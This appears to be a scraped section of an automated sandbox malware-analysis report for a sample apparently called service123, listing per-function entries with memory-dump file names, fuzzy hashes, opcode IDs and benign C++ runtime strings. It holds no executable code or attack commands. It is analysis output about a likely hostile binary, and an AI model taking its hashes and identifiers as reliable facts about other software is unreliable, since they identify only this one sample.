Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 5ca8e751233011c1a13faad691a66d1dd25338103684033f728e5d6e0d0b3ab1
Instruction ID: cc3d819d3685c5fb98548aa6f7219fcb98c6f5be6fefedfe9450f2bf4ac8d777
Opcode Fuzzy Hash: 5ca8e751233011c1a13faad691a66d1dd25338103684033f728e5d6e0d0b3ab1
Instruction Fuzzy Hash: F71190B19153248BCB11AF2CC5818AABBF4AF55218F42086DE8C89B715E331D959CB92

Function 6C8798F0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 1123COMMON

Download Yara Rule

Strings

-, xrefs: 6C87A30E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 1a19c5e5ac689fb1c6fe1d020ca7184e4f2325b7b72dc361b1fbcd0001195181
Instruction ID: 26600402af89830e13581df24d3f3128665591728f2866f66aa34e348bac73f7
Opcode Fuzzy Hash: 1a19c5e5ac689fb1c6fe1d020ca7184e4f2325b7b72dc361b1fbcd0001195181
Instruction Fuzzy Hash: ADA28171A043598FDB30CF69C68478DBBF2BF46314F288A68D865AB691E734DC45CB60

Function 6C8787C0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 1122COMMON

Download Yara Rule

Strings

-, xrefs: 6C8791DE

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 96ac81acff7864811ae74e21af0e3aaf2491a2f00e27ebd6ca66ff479b3dbf72
Instruction ID: 4315d47aa9b8d1cf7fdcaa853b47c56f9d179c16a2640c690cc641fb207fd53d
Opcode Fuzzy Hash: 96ac81acff7864811ae74e21af0e3aaf2491a2f00e27ebd6ca66ff479b3dbf72
Instruction Fuzzy Hash: EBA29170A043598FDB30CF68C68478DBBF2BF46324F288A69D465AB691E734DC45CB61

Function 6C8B3690 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

basic_string::_S_construct null not valid, xrefs: 6C8B3710

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_S_construct null not valid
API String ID: 0-290684606
Opcode ID: 0c6a9a7ed9c1d0c3a84e8cb1bdb9e3af63dac24ddc014988d342657e559ba667
Instruction ID: 13361b55fb0e00e193b996464619777cdb2067f5cd61a3dfb6b7544e29f90d25
Opcode Fuzzy Hash: 0c6a9a7ed9c1d0c3a84e8cb1bdb9e3af63dac24ddc014988d342657e559ba667
Instruction Fuzzy Hash: 2F01B1B25093499BC3216F5EC28161BFFE4AF92328F958C6DE4C857B11CB35D8088B52

Function 6C86A970 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C86A98D

Strings

basic_string: construction from null is not valid, xrefs: 6C86A9B0

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 1534366e0fc80bef246ca1d4cf6290662ff1ac9288df6ad80dd415fe2a63e088
Instruction ID: 449f1d41dd92a9418cc58cd134ac56d57d1bd8939693fe9a5ffb3ff4d6553f97
Opcode Fuzzy Hash: 1534366e0fc80bef246ca1d4cf6290662ff1ac9288df6ad80dd415fe2a63e088
Instruction Fuzzy Hash: CDF0BEB1A153148FCB10EF2CC18089AB7F4BF55318B4208ADE8C49B711E332E849CB92

Function 6C86A580 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C86A59D

Strings

basic_string: construction from null is not valid, xrefs: 6C86A5C0

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 1534366e0fc80bef246ca1d4cf6290662ff1ac9288df6ad80dd415fe2a63e088
Instruction ID: a7d6d08531408b29a20ac33ba7cf4ececac644baf2667830775db8f7ace67f5b
Opcode Fuzzy Hash: 1534366e0fc80bef246ca1d4cf6290662ff1ac9288df6ad80dd415fe2a63e088
Instruction Fuzzy Hash: F2F05EB1A153148FCB10EF6CC58189AB7F4BF55318B4248ADE8C49B715E332E959CB92

Function 6C86C510 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C86C570
basic_string::substr, xrefs: 6C86C568

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 1e6173e7d77963b9a4f66a20898ba9106846dab339e35fa4af7a58a7340bbc14
Instruction ID: a91783221a53afa7ba2380c806ee51099c1c20a1a7bc81c1df4927ff83d8aba3
Opcode Fuzzy Hash: 1e6173e7d77963b9a4f66a20898ba9106846dab339e35fa4af7a58a7340bbc14
Instruction Fuzzy Hash: 89017871A183008BCB04EF2DC58095AFBF1BBDA308F5489ADE088DB315D632D949CB86

Function 6C860740 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C8607A0
basic_string::substr, xrefs: 6C860798

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 1fd7b54f93b082ef624bde7afa6b9736bd2f2533ce8d3cb153a78fa2c3ebcf65
Instruction ID: 656ae10acf55180d3f1eb3e40b9174ee0851149984734cada84cfebf0bd0c23a
Opcode Fuzzy Hash: 1fd7b54f93b082ef624bde7afa6b9736bd2f2533ce8d3cb153a78fa2c3ebcf65
Instruction Fuzzy Hash: FF0146B2A0A3009FC704CF29D881A9BFBE1ABCA354F009D6DE488D7700C234D8458B86

Function 6C8846E0 Relevance: 2.1, APIs: 1, Instructions: 873COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e546ac77aed37c46dcc3bcd875b953c33a72dff1b092e6089633b57ca61a9d76
Instruction ID: 1a84b12259836ca58bef4ab7878f255ea89058a69d472cf993aa62c9a39bf842
Opcode Fuzzy Hash: e546ac77aed37c46dcc3bcd875b953c33a72dff1b092e6089633b57ca61a9d76
Instruction Fuzzy Hash: 0682D231E062988FDB20CFA8C59078DBBF5AF86324F198A59D865AFB95D334DC45CB40

Function 6C882CCE Relevance: 2.1, APIs: 1, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6b8c887c337b2d1d218b04148c8cc23edf7585999bdb4318c5b4d631f29b9c1
Instruction ID: e76ebfc28dc134159e8084d3657ad4e7025b468d60b1b61f47f385334612434b
Opcode Fuzzy Hash: e6b8c887c337b2d1d218b04148c8cc23edf7585999bdb4318c5b4d631f29b9c1
Instruction Fuzzy Hash: 70727F70A0A298CFDB21CFA8C68479DBFF1AF06314F148A59E4A5ABB91D334DC45CB51

Function 6C88140E Relevance: 2.1, APIs: 1, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01751a71f0063c16e7d9570d6b247874c890a95c490ce371c41b6dece97ca5a4
Instruction ID: 66275ed37bf455008750fa209d0c3cd7261543d46a0a52563920af9c78bc04d5
Opcode Fuzzy Hash: 01751a71f0063c16e7d9570d6b247874c890a95c490ce371c41b6dece97ca5a4
Instruction Fuzzy Hash: 7B728270E06298CFDB20CFA8C58479DBBF1BF06314F188A59D4A5ABB95DB34E845CB41

Function 6C882090 Relevance: 2.0, APIs: 1, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6a1f2214c61f8d46deac62ac8cdd8e3f01c6e15529e9b3dd0de02fe232df896
Instruction ID: d371559320e08034b718900d2e3249ceccb456a1cb7914440b04d324a3a0543a
Opcode Fuzzy Hash: f6a1f2214c61f8d46deac62ac8cdd8e3f01c6e15529e9b3dd0de02fe232df896
Instruction Fuzzy Hash: B772B374E0A399CFDB20CFA8C59878DBBF1BF05314F148A59D4A5ABB91C338A845CB41

Function 6C8807D0 Relevance: 2.0, APIs: 1, Instructions: 789COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2083ce7196b4e8efd72101eabf6b068ef2308901ce67610c5d99d6d721554f9d
Instruction ID: 67b41ea74bfdb54f9729ee2c4920fe55aa86c57e57fb01eb28faedc723576f19
Opcode Fuzzy Hash: 2083ce7196b4e8efd72101eabf6b068ef2308901ce67610c5d99d6d721554f9d
Instruction Fuzzy Hash: F5726E70E0A398CFDB20CFA8C69478DBBF1BF06314F148A59D4A5ABB91C734A845CB51

Function 6C86F760 Relevance: 2.0, APIs: 1, Instructions: 770stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C86F8B3

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 02536fe0dc21b9028167fedf7d8b1be13a2a62232735f22815451683cd99e0c3
Instruction ID: c036cb07ea477f3200f6adbf553302beed7ad5fdaa0627cd3ebe433ab436c321
Opcode Fuzzy Hash: 02536fe0dc21b9028167fedf7d8b1be13a2a62232735f22815451683cd99e0c3
Instruction Fuzzy Hash: 77726A74A04258CFCB14CFA9C184A9DBBF2BF59314F288A59E861ABB91D731EC41CF51

Function 6C887A20 Relevance: 1.9, APIs: 1, Instructions: 678COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 659ca6dd922f734379e8497856bfd8356c6b8eb75eea8842688d65fd65de1d0a
Instruction ID: 7f0ffc35c5ac8ca734b8e4a8b1257dd5dc66a194857798542ae14751d0b5772d
Opcode Fuzzy Hash: 659ca6dd922f734379e8497856bfd8356c6b8eb75eea8842688d65fd65de1d0a
Instruction Fuzzy Hash: 4952E670A062489FDB20CF68C6C079DBFF1AF46328F248A5AF464ABB91D735D845CB51

Function 6C872360 Relevance: 1.6, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff6372ef0a9251d138f0073624f0ea2ae09fccbdc705b561bfa349615f81e9fa
Instruction ID: 84c901f5f7787f21c3db7a2cfc902a40d2dc0ca11e292f9fb837c9a2739b814c
Opcode Fuzzy Hash: ff6372ef0a9251d138f0073624f0ea2ae09fccbdc705b561bfa349615f81e9fa
Instruction Fuzzy Hash: 66E17875E05259CFCB20CFA8C68468DBBF1BF49324F188A65E465A7791E338AD41CF60

Function 6C89DC70 Relevance: 1.6, APIs: 1, Instructions: 328COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddce1dec344faf4ac185e2707990aaa8d0d8670dbd329984dcfd35d468b9a667
Instruction ID: 2b40704eb983aac2e6265298a6d6abd6b7663ee5d9f93f48413f8d43b6cb9459
Opcode Fuzzy Hash: ddce1dec344faf4ac185e2707990aaa8d0d8670dbd329984dcfd35d468b9a667
Instruction Fuzzy Hash: 5FD16D71A052588FCB20CF6CC6C06CDBBF1BF49324F588A66E865AB791D335D941CBA4

Function 6C899B60 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

, xrefs: 6C899BF8

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 05338bfa8922429b20bf09a5af34d2fa0527f3e76f8fc3493f5954d6cf3ca79d
Instruction ID: 7ff3f01c30f8299aee4073630d3708153863f2132a2d2fa5a3a18c27800fb55b
Opcode Fuzzy Hash: 05338bfa8922429b20bf09a5af34d2fa0527f3e76f8fc3493f5954d6cf3ca79d
Instruction Fuzzy Hash: 04213D71A042048FDB14EF3ACA845AAB7F5AB89308F118D2DE88487745DB74D849CB92

Function 6C85EB10 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

__gnu_cxx::__concurrence_lock_error, xrefs: 6C85EB50

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: __gnu_cxx::__concurrence_lock_error
API String ID: 0-1226115927
Opcode ID: 60a99fd6d004777421646298c8663ae9b9b0f865036bf9c11428534ca119b0d2
Instruction ID: 7ef26622c628ba0377c360570f505bc42e1cfb347f5d02493502f7b01f6d2175
Opcode Fuzzy Hash: 60a99fd6d004777421646298c8663ae9b9b0f865036bf9c11428534ca119b0d2
Instruction Fuzzy Hash: 10E0D8B6D082018F8708EF39C58143BB7B16789300F809E2CD84113B44E630D11CCB97

Function 6C860260 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

basic_string::at: __n (which is %zu) >= this->size() (which is %zu), xrefs: 6C860280

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: basic_string::at: __n (which is %zu) >= this->size() (which is %zu)
API String ID: 0-3720052664
Opcode ID: 291a4507b14cc85a0eff7c867291eb5432830c02e358608d60037c7107a8d35c
Instruction ID: 6208acd085606143949ea92bfae8878a418637dac2ab33e6f314749cc59e2451
Opcode Fuzzy Hash: 291a4507b14cc85a0eff7c867291eb5432830c02e358608d60037c7107a8d35c
Instruction Fuzzy Hash: BBE0B6B1E496408BCB04DF18C58681AF7F2AF96314F549A9DD5449BB20D731D410CA5B

Function 6C88DBEE Relevance: .8, Instructions: 838COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
